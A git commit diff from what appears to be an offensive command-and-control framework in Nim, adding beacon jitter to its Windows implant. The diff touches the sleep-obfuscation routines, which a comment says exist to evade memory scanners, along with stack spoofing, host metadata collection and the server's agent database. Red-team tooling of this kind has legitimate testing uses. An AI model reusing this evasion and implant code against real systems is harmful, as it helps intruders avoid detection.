Implemented jitter.

This commit is contained in:
Jakob Friedl
2025-10-23 11:14:26 +02:00
parent 51748639de
commit c6875e5eb2
17 changed files with 90 additions and 113 deletions

View File

@@ -15,6 +15,7 @@ port = 37573
# General agent settings # General agent settings
[agent] [agent]
sleep = 5 sleep = 5
jitter = 15
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# ---------------------------------------------------------- # ----------------------------------------------------------

View File

@@ -29,9 +29,12 @@ proc deserializeConfiguration(config: string): AgentCtx =
agentId: generateUUID(), agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()), listenerId: Uuid.toString(unpacker.getUint32()),
hosts: unpacker.getDataWithLengthPrefix(), hosts: unpacker.getDataWithLengthPrefix(),
sleep: int(unpacker.getUint32()), sleepSettings: SleepSettings(
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), sleepDelay: unpacker.getUint32(),
spoofStack: cast[bool](unpacker.getUint8()), jitter: unpacker.getUint32(),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8())
),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey, agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix()) profile: parseString(unpacker.getDataWithLengthPrefix())

View File

@@ -1,6 +1,6 @@
import winim/lean import winim/lean
import winim/inc/tlhelp32 import winim/inc/tlhelp32
import os, system, strformat import os, system, strformat, random
import ./[cfg, io] import ./[cfg, io]
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto]
@@ -572,15 +572,21 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
print "[-] ", err.msg print "[-] ", err.msg
# Sleep obfuscation implemented in various techniques # Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = proc sleepObfuscate*(sleepSettings: SleepSettings) =
if sleepDelay == 0: if sleepSettings.sleepDelay == 0:
return return
# Initialize required API functions # Initialize required API functions
let apis = initApis() let apis = initApis()
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" # Calculate actual sleep delay with jitter
let
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
delay = int(rand(minDelay .. maxDelay) * 1000)
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
var img: USTRING = USTRING(Length: 0) var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0)
@@ -600,12 +606,12 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
key.Length = cast[DWORD](keyBuffer.len()) key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique # Execute sleep obfuscation technique
case technique: case sleepSettings.sleepTechnique:
of EKKO: of EKKO:
sleepEkko(apis, key, img, sleepDelay, spoofStack) sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
of ZILEAN: of ZILEAN:
sleepZilean(apis, key, img, sleepDelay, spoofStack) sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
of FOLIAGE: of FOLIAGE:
sleepFoliage(apis, key, img, sleepDelay) sleepFoliage(apis, key, img, delay)
of NONE: of NONE:
sleep(sleepDelay) sleep(delay)

View File

@@ -31,7 +31,7 @@ proc main() =
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) sleepObfuscate(ctx.sleepSettings)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
print "\n", fmt"[*] [{date}] Checking in." print "\n", fmt"[*] [{date}] Checking in."

View File

@@ -3,7 +3,7 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="false" -d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -164,11 +164,11 @@ proc getProductType(): ProductType =
# Using the 'registry' module, we can get the exact registry value # Using the 'registry' module, we can get the exact registry value
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE) case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
of "WinNT": of protect("WinNT"):
return WORKSTATION return WORKSTATION
of "ServerNT": of protect("ServerNT"):
return SERVER return SERVER
of "LanmanNT": of protect("LanmanNT"):
return DC return DC
proc getOSVersion(): string = proc getOSVersion(): string =
@@ -218,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
process: string.toBytes(getProcessExe()), process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()), pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()), isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](ctx.sleep), sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
jitter: cast[uint32](ctx.sleepSettings.jitter),
modules: cast[uint32](MODULES) modules: cast[uint32](MODULES)
) )
) )
@@ -239,6 +240,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
.add(data.metadata.pid) .add(data.metadata.pid)
.add(data.metadata.isElevated) .add(data.metadata.isElevated)
.add(data.metadata.sleep) .add(data.metadata.sleep)
.add(data.metadata.jitter)
.add(data.metadata.modules) .add(data.metadata.modules)
let metadata = packer.pack() let metadata = packer.pack()

View File

@@ -38,14 +38,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
let event = Event( let event = Event(
eventType: CLIENT_AGENT_BUILD, eventType: CLIENT_AGENT_BUILD,
timestamp: now().toTime().toUnix(), timestamp: now().toTime().toUnix(),
data: %*{ data: %buildInformation
"listenerId": buildInformation.listenerId,
"sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack,
"verbose": buildInformation.verbose,
"modules": buildInformation.modules
}
) )
connection.ws.sendEvent(event, connection.sessionKey) connection.ws.sendEvent(event, connection.sessionKey)

View File

@@ -149,7 +149,7 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
proc displayHelp(component: ConsoleComponent) = proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules): for module in getModules(component.agent.modules):
for cmd in module.commands: for cmd in module.commands:
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description) component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
proc displayCommandHelp(component: ConsoleComponent, command: Command) = proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt( var usage = command.name & " " & command.arguments.mapIt(

View File

@@ -9,7 +9,8 @@ export addItem
type type
AgentModalComponent* = ref object of RootObj AgentModalComponent* = ref object of RootObj
listener: int32 listener: int32
sleepDelay: uint32 sleepDelay: uint32
jitter: int32
sleepMask: int32 sleepMask: int32
spoofStack: bool spoofStack: bool
verbose: bool verbose: bool
@@ -22,6 +23,7 @@ proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent result = new AgentModalComponent
result.listener = 0 result.listener = 0
result.sleepDelay = 5 result.sleepDelay = 5
result.jitter = 15
result.sleepMask = 0 result.sleepMask = 0
result.spoofStack = false result.spoofStack = false
result.verbose = false result.verbose = false
@@ -45,6 +47,7 @@ proc AgentModal*(): AgentModalComponent =
proc resetModalValues*(component: AgentModalComponent) = proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0 component.listener = 0
component.sleepDelay = 5 component.sleepDelay = 5
component.jitter = 15
component.sleepMask = 0 component.sleepMask = 0
component.spoofStack = false component.spoofStack = false
component.verbose = false component.verbose = false
@@ -86,6 +89,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSetNextItemWidth(availableSize.x) igSetNextItemWidth(availableSize.x)
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Jitter
igText("Jitter: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
# Agent sleep obfuscation technique dropdown selection # Agent sleep obfuscation technique dropdown selection
igText("Sleep mask: ") igText("Sleep mask: ")
igSameLine(0.0f, textSpacing) igSameLine(0.0f, textSpacing)
@@ -145,9 +154,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
result = AgentBuildInformation( result = AgentBuildInformation(
listenerId: listeners[component.listener].listenerId, listenerId: listeners[component.listener].listenerId,
sleepDelay: component.sleepDelay, sleepSettings: SleepSettings(
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), sleepDelay: component.sleepDelay,
spoofStack: component.spoofStack, jitter: cast[uint32](component.jitter),
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack
),
verbose: component.verbose, verbose: component.verbose,
modules: modules modules: modules
) )

View File

@@ -185,6 +185,7 @@ type
pid*: uint32 pid*: uint32
isElevated*: uint8 isElevated*: uint8
sleep*: uint32 sleep*: uint32
jitter*: uint32
modules*: uint32 modules*: uint32
AgentRegistrationData* = object AgentRegistrationData* = object
@@ -208,6 +209,7 @@ type
pid*: int pid*: int
elevated*: bool elevated*: bool
sleep*: int sleep*: int
jitter*: int
tasks*: seq[Task] tasks*: seq[Task]
modules*: uint32 modules*: uint32
firstCheckin*: int64 firstCheckin*: int64
@@ -229,6 +231,7 @@ type
pid*: int pid*: int
elevated*: bool elevated*: bool
sleep*: int sleep*: int
jitter*: int
modules*: uint32 modules*: uint32
firstCheckin*: int64 firstCheckin*: int64
latestCheckin*: int64 latestCheckin*: int64
@@ -312,13 +315,17 @@ type
profile*: Profile profile*: Profile
client*: WsConnection client*: WsConnection
SleepSettings* = ref object
sleepDelay*: uint32
jitter*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
AgentCtx* = ref object AgentCtx* = ref object
agentId*: string agentId*: string
listenerId*: string listenerId*: string
hosts*: string hosts*: string
sleep*: int sleepSettings*: SleepSettings
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
sessionKey*: Key sessionKey*: Key
agentPublicKey*: Key agentPublicKey*: Key
profile*: Profile profile*: Profile
@@ -357,10 +364,8 @@ type
items*: seq[ConsoleItem] items*: seq[ConsoleItem]
AgentBuildInformation* = ref object AgentBuildInformation* = ref object
listenerId*: string listenerId*: string
sleepDelay*: uint32 sleepSettings*: SleepSettings
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
verbose*: bool verbose*: bool
modules*: uint32 modules*: uint32

View File

@@ -50,11 +50,11 @@ when defined(agent):
try: try:
# Parse task parameter # Parse task parameter
let delay = int(Bytes.toUint32(task.args[0].data)) let delay = Bytes.toUint32(task.args[0].data)
# Updating sleep in agent context # Updating sleep in agent context
print fmt" [>] Setting sleep delay to {delay} seconds." print fmt" [>] Setting sleep delay to {delay} seconds."
ctx.sleep = delay ctx.sleepSettings.sleepDelay = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -69,21 +69,21 @@ when defined(agent):
case int(task.argCount): case int(task.argCount):
of 0: of 0:
# Retrieve sleepmask settings # Retrieve sleepmask settings
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response)) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
of 1: of 1:
# Only set the sleepmask technique # Only set the sleepmask technique
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
ctx.sleepTechnique = technique ctx.sleepSettings.sleepTechnique = technique
else: else:
# Set sleepmask technique and stack-spoofing configuration # Set sleepmask technique and stack-spoofing configuration
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
ctx.sleepTechnique = technique ctx.sleepSettings.sleepTechnique = technique
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
ctx.spoofStack = spoofStack ctx.sleepSettings.spoofStack = spoofStack
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])

View File

@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER" const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] = proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
@@ -19,9 +19,10 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts)) packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
# Sleep settings # Sleep settings
packer.add(uint32(sleep)) packer.add(sleepSettings.sleepDelay)
packer.add(uint8(sleepTechnique)) packer.add(sleepSettings.jitter)
packer.add(uint8(spoofStack)) packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack))
# Public key for key exchange # Public key for key exchange
packer.addData(cq.keyPair.publicKey) packer.addData(cq.keyPair.publicKey)
@@ -147,18 +148,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
return @[] return @[]
# Agent generation # Agent generation
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] = proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] =
# Verify that listener exists # Verify that listener exists
if not cq.dbListenerExists(listenerId.toUpperAscii): if not cq.dbListenerExists(agentBuildInformation.listenerId):
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.") cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.")
return return
let listener = cq.listeners[listenerId.toUpperAscii] let listener = cq.listeners[agentBuildInformation.listenerId]
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
let unpatchedExePath = cq.compile(config.len, modules, verbose) let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
if unpatchedExePath.isEmptyOrWhitespace(): if unpatchedExePath.isEmptyOrWhitespace():
return return

View File

@@ -108,6 +108,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
pid = unpacker.getUint32() pid = unpacker.getUint32()
isElevated = unpacker.getUint8() isElevated = unpacker.getUint8()
sleep = unpacker.getUint32() sleep = unpacker.getUint32()
jitter = unpacker.getUint32()
modules = unpacker.getUint32() modules = unpacker.getUint32()
return Agent( return Agent(
@@ -124,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
pid: int(pid), pid: int(pid),
elevated: isElevated != 0, elevated: isElevated != 0,
sleep: int(sleep), sleep: int(sleep),
jitter: int(jitter),
modules: modules, modules: modules,
tasks: @[], tasks: @[],
firstCheckin: now().toTime().toUnix(), firstCheckin: now().toTime().toUnix(),

View File

@@ -19,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode =
result["pid"] = %agent.pid result["pid"] = %agent.pid
result["elevated"] = %agent.elevated result["elevated"] = %agent.elevated
result["sleep"] = %agent.sleep result["sleep"] = %agent.sleep
result["jitter"] = %agent.jitter
result["modules"] = %agent.modules result["modules"] = %agent.modules
result["firstCheckin"] = %agent.firstCheckin result["firstCheckin"] = %agent.firstCheckin
result["latestCheckin"] = %agent.latestCheckin result["latestCheckin"] = %agent.latestCheckin

View File

@@ -36,6 +36,7 @@ proc dbInit*(cq: Conquest) =
os TEXT NOT NULL, os TEXT NOT NULL,
elevated BOOLEAN NOT NULL, elevated BOOLEAN NOT NULL,
sleep INTEGER NOT NULL, sleep INTEGER NOT NULL,
jitter INTEGER NOT NULL,
modules INTEGER NOT NULL, modules INTEGER NOT NULL,
firstCheckin INTEGER NOT NULL, firstCheckin INTEGER NOT NULL,
latestCheckin INTEGER NOT NULL, latestCheckin INTEGER NOT NULL,

View File

@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let sessionKeyBlob = agent.sessionKey.toSeq() let sessionKeyBlob = agent.sessionKey.toSeq()
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey) INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
conquestDb.close() conquestDb.close()
except: except:
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array # Convert session key blob back to array
var sessionKey: Key var sessionKey: Key
@@ -47,6 +47,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
agentId: agentId, agentId: agentId,
listenerId: listenerId, listenerId: listenerId,
sleep: sleep, sleep: sleep,
jitter: jitter,
pid: pid, pid: pid,
username: username, username: username,
impersonationToken: impersonationToken, impersonationToken: impersonationToken,
@@ -72,50 +73,6 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
return agents return agents
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
var agents: seq[Agent] = @[]
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listenerId = ?;", listenerName):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array
var sessionKey: Key
if sessionKeyBlob.len == 32:
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
else:
# Handle invalid session key - log error but continue
cq.warning("Invalid session key length for agent: ", agentId)
let a = Agent(
agentId: agentId,
listenerId: listenerId,
sleep: sleep,
pid: pid,
username: username,
hostname: hostname,
domain: domain,
ipInternal: ipInternal,
ipExternal: ipExternal,
os: os,
elevated: elevated,
firstCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](firstCheckin),
process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks
)
agents.add(a)
conquestDb.close()
except:
cq.error(getCurrentExceptionMsg())
return agents
proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool = proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)

View File

@@ -91,15 +91,8 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
cq.listenerStop(listenerId) cq.listenerStop(listenerId)
of CLIENT_AGENT_BUILD: of CLIENT_AGENT_BUILD:
let let agentBuildInformation = event.data.to(AgentBuildInformation)
listenerId = event.data["listenerId"].getStr() let payload = cq.agentBuild(agentBuildInformation)
sleepDelay = event.data["sleepDelay"].getInt()
